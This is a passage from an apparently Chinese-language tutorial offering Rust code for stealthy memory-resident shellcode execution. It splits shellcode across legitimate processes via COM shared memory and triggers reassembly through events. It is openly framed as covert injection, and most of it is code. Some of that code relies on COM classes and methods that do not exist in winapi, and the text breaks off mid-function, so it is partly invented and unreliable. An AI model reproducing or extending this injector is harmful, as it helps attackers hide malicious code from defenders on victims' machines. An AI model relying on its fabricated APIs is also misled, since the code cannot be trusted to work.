新式内存驻留的实现
利用COM对象内存共享特性,在多个合法进程间拆分shellcode,通过事件同步触发重组执行
接下来我将使用Rust代码来实现这一技术,该代码融合了Windows COM组件和内存共享技术,实现了跨进程的隐蔽Shellcode执行
use winapi::{
ctypes::{c_void, c_char},
shared::guiddef::GUID,
um::{
combaseapi::{CoCreateInstance, CoInitializeEx, CoUninitialize},
combaseapi::{CLSCTX_LOCAL_SERVER, CLSID_FileMapping},
synchapi::{CreateEventW, SetEvent, WaitForSingleObject},
handleapi::CloseHandle,
memoryapi::{MapViewOfFile, UnmapViewOfFile},
winbase::{COINIT_MULTITHREADED, INFINITE},
winnt::{HANDLE, PAGE_READWRITE, FILE_MAP_ALL_ACCESS},
},
};
use std::{ptr, mem, ffi::OsStr, os::windows::ffi::OsStrExt};
const QUANTUM_MEMORY_NAME: &str = "Global\\QuantumEntanglementMem";
// COM共享内存接口定义
#[repr(C)]
struct IQuantumMemory {
vtbl: *const IQuantumMemoryVtbl,
}
#[repr(C)]
struct IQuantumMemoryVtbl {
QueryInterface: unsafe extern "system" fn(
This: *mut IQuantumMemory,
riid: *const GUID,
ppv: *mut *mut c_void,
) -> i32,
AddRef: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
Release: unsafe extern "system" fn(This: *mut IQuantumMemory) -> u32,
CreateEntanglement: unsafe extern "system" fn(
This: *mut IQuantumMemory,
size: u32,
name: *const c_char,
) -> HANDLE,
}
// 量子注入核心实现
struct QuantumInjector {
com_initialized: bool,
entangled_handles: Vec<HANDLE>,
}
impl QuantumInjector {
unsafe fn new() -> Self {
// 初始化COM环境
CoInitializeEx(ptr::null_mut(), COINIT_MULTITHREADED);
QuantumInjector {
com_initialized: true,
entangled_handles: Vec::new(),
}
}
// 创建量子注入内存
unsafe fn create_quantum_memory(&mut self, size: usize) -> HANDLE {
let mut quantum_mem: *mut IQuantumMemory = ptr::null_mut();
let hr = CoCreateInstance(
&CLSID_FileMapping,
ptr::null_mut(),
CLSCTX_LOCAL_SERVER,
&IQuantumMemory::uuidof(),
&mut quantum_mem as *mut _ as *mut _,
);
if hr != 0 {
panic!("Failed to create quantum memory object");
}
let name = QUANTUM_MEMORY_NAME.as_ptr() as *const c_char;
let handle = ((*quantum_mem).vtbl).CreateEntanglement(
quantum_mem,
size as u32,
name,
);
self.entangled_handles.push(handle);
handle
}
// 写入量子态Shellcode
unsafe fn write_quantum_state(
&self,
handle: HANDLE,
offset: usize,
data: &[u8],
) -> *mut c_void {
let view = MapViewOfFile(
handle,
FILE_MAP_ALL_ACCESS,
0,
offset as u32,
data.len(),
);
if view.is_null() {
panic!("Failed to map
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